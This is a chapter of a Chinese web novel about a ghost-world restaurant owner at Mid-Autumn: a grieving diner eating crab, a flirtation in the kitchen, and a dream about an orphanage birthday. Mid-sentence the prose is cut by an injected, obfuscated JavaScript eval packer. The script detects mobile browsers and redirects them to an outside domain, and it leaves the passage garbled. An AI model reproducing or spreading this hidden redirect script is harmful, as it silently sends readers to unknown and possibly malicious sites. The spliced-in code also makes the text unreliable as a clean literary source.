从晌午至傍晚，店内宾客都已换了几波，唯一不变的是店内仍然座无虚席，佳肴满桌。 中秋是个喜庆日子，除了月饼，不少人也吃四喜丸子、清蒸鲈鱼、桂花糕一类应景的菜色。 不过最叫座的，却是螃蟹。 中秋前后的螃蟹最好，上锅用汽蒸熟，蒸出来的蟹肉细白而嫩，鲜中回甘。 李渔在《闲情偶寄》里写道：“蟹之鲜而肥，甘而腻，白似玉而黄似金，已造色、香、味三者之极，更无一物可以上之。” 宁兰因手里的这只蟹，蟹壳蒸出了红澄澄的亮色，如落日一般，色极； 拆去蟹脚打开蟹壳，蒸出的蟹汁浇在蟹肉与蟹黄上，匆匆带起一股河鲜的香； 这蟹肉肥而味美，蟹黄膏丰，佐一点蟹醋，便叫人美得不知天上人间。 宁兰因吃蟹吃得讲究，速度却不慢，还有闲心热半盏酒，自酌自饮。 蟹性寒，需热酒下肚，才能暖脾胃，不伤身。 这是沈弗渝告诉她的。她现在仍然照做。 这家店不止蟹好，桂花糕也做得很好，桂花糕的糕体软糯清香，糕中的红豆沙而不腻，带着一点清甜的蜂蜜滋味。 顶部的桂花烘得干干的，闻着还有桂花的香味。 宁兰因喜欢桂花糕，便跟着沈弗渝做过，知道干桂花要采新鲜初绽的桂花，浸水后沥干烘烤。 那时她没有调好烤箱温度，烘出来的桂花堆叠发黑。沈弗渝便又新采了一篮桂花，重新陪她一起做。 而后做出来的干桂花，颜色很好，是亮丽的明黄色，和眼前的一模一样。 宁兰因笑了笑，也不知在这地府寸草不生的地方，老板怎么弄来的这些桂花。 是像自己一样登上桂树枝头采撷的吗？还是像沈弗渝一样不声不响“变”出来的？ 老板也会像沈弗渝一样烘桂花吗？会像他一样做桂花蜜吗？会像他一样有一只小狗吗？ 说来说去，她心心念念的仍然是一个沈弗渝。 宁兰因握着酒杯的指尖都微微发了白，店内喧嚣，也许唯有窗外一轮明月，看见了桌前那个泪眼婆娑的女人。 月光单薄地栖息在宁兰因肩头，她颈侧黄琉璃簪子的形状仍然糊糊的一团，离得近了，才隐隐看出雕痕是一只大耳朵的狗。 不知过了多久。 终究是三杯两盏，酒尽肴残。 收尽这一桌，仍有下一桌客人再进来。沈婵娟忙得脚不沾地，心里却是乐得找不着北。中秋一天的阴时收入，可抵得上以往三天哩！ “师傅，你笑得好阴。”刘语凡幽幽道。 沈婵娟回过神，揉了揉自己笑僵的脸颊：“有吗？” “有啊！”刘语凡重重点头，“不信你问司殷。” 沈婵娟转过身：“我笑得很阴吗？” 对面的司殷眼里紫意依旧，虽然遮了下半张脸，却仍见得朗朗风姿。 他的眼睛弯了弯：“沈老板想听真话还是假话？” “真话。”沈婵娟也笑了笑。 “真话就是……”他的目光落到沈婵娟的袖口，原来被挽至臂弯的面料已经放下，却不知何时沾上了做桂花糕的面粉。 于是他先一步，隔着布料握住了沈婵娟的手臂：“一点点。” “是吧！”刘语凡找到知音，颇为激动地叫起来，“师傅你每次数钱都笑得好奸诈！” “奸诈。”沈婵娟微微一笑，“如此奸商怎么能当你的老师呢？既然如此……” 她话未完，刘语凡连忙打断道：“赚钱的事能叫奸诈吗！师傅你这明明是睿智啊！” “哦——”沈婵娟点点头，“那刚刚你是说我笑得？” “我是说笑得很殷啊！司殷的殷！”刘语凡张口就来，“殷切的殷！老板对待客人，不就是殷切吗？” 沈婵娟还没说话，就感觉身边的人轻轻笑了笑。 沈婵娟被他握着，现下说不清是恼是羞，只得随口一问：“你笑什么？” “只是觉得她说得不错。”司殷偏过头，眼里划过愉悦的紫光，“不可以吗？” 沈婵娟咬牙切齿，一字一顿：“当然可以。” 刘语凡觉得他们俩哪里怪怪的，却又说不出来，踌躇半晌，还是沈婵娟先开口：“语凡，明日要做曲奇，你帮我打发一下黄油。” “遵命，师傅大人。”刘语凡故作严肃地朝她敬了个礼，便将软化好的黄油打入碗中，直至打到发白。 电动打蛋器的声音“轰轰”地响，外间客人的谈笑声也不绝于耳。 沈婵娟压低声音：“你握着我的手做什么？还不放开？” 司殷朝她近了一步：“你的袖子上有面粉。” 语罢，他便将沈婵娟的手臂转了小半圈，好让她看清自己袖子上细白的面粉。 沈婵娟顿了顿，才知道是自己误会了他，要伸手去拍。 司殷便再朝她近了一步。 他的手反折在身后，仍然牵住了沈婵娟的手臂。只是如此一来，沈婵娟便拍不到自己的袖子了。 沈婵娟咂摸出一点他的意思来，哂了一下：“告诉我了又不让我拍，是你要帮我拍干净吗？” 司殷稍稍收紧了一些牵住她手臂的力道：“沈老板一直这么聪明。” “拍个面粉而已，”沈婵娟失笑，“你想拍就拍吧。” “沈老板求别人做事可没有这么随便。”司殷轻轻地叹了一口气。 求别人做事？不是他自己要拍吗？ 沈婵娟心里好笑，忽然想起来她送去各城阴差的月饼里有一句“擅用肖像的一点心意，请笑纳”。 他说的求人做事，便是这个吗？ 沈婵娟没忍住笑出来。 总归不是什么难为情的事。既然司殷想听，她说一嘴又何妨？ “司殷。” 对面的人仍然低着头看她，沈婵娟便能清楚地看到他紫玉一样的星目，裁得细而凌厉的眉。 那对眉总是波澜不惊的，他皮笑肉不笑时更甚，司殷也许不知道，他装作亲和地笑起来时，眉毛总是垂得很假。 唯有一个时刻—— 沈婵娟看着他：“你帮我拍拍袖子吧。” 那对细眉才会重新飞扬起来，像柳树新抽出的枝条一样。 “好。” 司殷将沈婵娟的手送回面前，几乎像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15507829|165014||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻点神龛一样，用手拍了拍她的袖子。 细白的面粉从袖子上跌落。 沈婵娟紧绷着神经，那边电动打蛋器的声音却停了。 有的时候，沉寂竟然和噪声一样乱人心魂。 她的手指无意识地瑟缩了一下，轻轻擦过了司殷伸出的、手掌的中心。 “师傅，黄油打好了。” 交握的双手被料理台挡着，无论是刘语凡，还是外头的客人，没有任何人会看到。 今夜彼此心照不宣的逾越没有人会知道，没有人会看到，这个料理台后，他们绝对安全。 可是为什么。 沈婵娟分明感受到有什么东西在轻轻地颤动。 那是什么？ 是她的心吗？ 沈婵娟没怎么用力就挣开了司殷的手，故作自然地走到了刘语凡身边：“加糖水后继续打，要打发到有光泽才行。” “好！” 那边刘语凡又在跟沈婵娟说七七八八的琐事，司殷一句都没听进去。 唯有掌心微妙的痒意仍然真实。 * 子夜，沈婵娟睡得并不安稳。 梦里的一切都淡淡的：孤儿院黑得骇人的铁栅栏、旧得褪色发白的床褥、掉皮掉出一个个窟窿的墙壁、前院长冷然的神情，还有不远处的烧烤摊。 不知怎的，那些事物沈婵娟明明亲身经历过，此时却觉得离它们好远。 梦里有一轮浑圆的满月，这是农历八月十六，沈婵娟的生日。 真实的生日，其实沈婵娟自己毫无印象。因为她是农历八月十六的晚上被送到孤儿院的，院长说那时的她看起来很小，估计也没出生几天。 长得大了，知道了何谓“生日”，何谓“成长”，沈婵娟就把自己的生日定在了农历八月十六，她进园的日子。 其实那日也恰是新历的八月十六日，不过沈婵娟喜欢中秋，便有心选在中秋附近，俗话说得好：“十五的月亮十六圆”，沈婵娟有心占一个好兆头。 月亮如此，她自己也是如此。 孤儿院的孩子虽然无父无母，却都有自己选定的生日，在这一天，沿着之前的传统，可以到外面买一个奶油小蛋糕。 一天的经费只有区区二十块钱，生日蛋糕必然是不算大的，不过孩子们都不贪嘴，除了寿星，每人起码都能分到一口喜气的奶油。 她就看着梦中的自己走在去往蛋糕店的路上。 那时的沈婵娟远不是会腻味甜奶油的人，她翘首以盼自己生日的那一天，能讨着甜品店的店主给她多挤一点奶油，再用一些吉利话换半袋别人剩下的蛋糕胚。 这样大家就能多吃一点好东西。 小时候的沈婵娟已经拿好了蛋糕胚和面包边，再拎着比自己手掌大一点的小蛋糕，就又走回了孤儿院。 那个小时候的她没有等到晚饭再拿出蛋糕，她进了房间，自己插上了一根蜡烛。 沈婵娟其实有点不解，她完全不知道自己为什么要独自来到房间点蜡烛，她的记忆里也从没有这回事。 不过更离奇的事情发生了—— 那支蜡烛居然自己燃烧起来，微弱的火光照亮了小小一方床铺。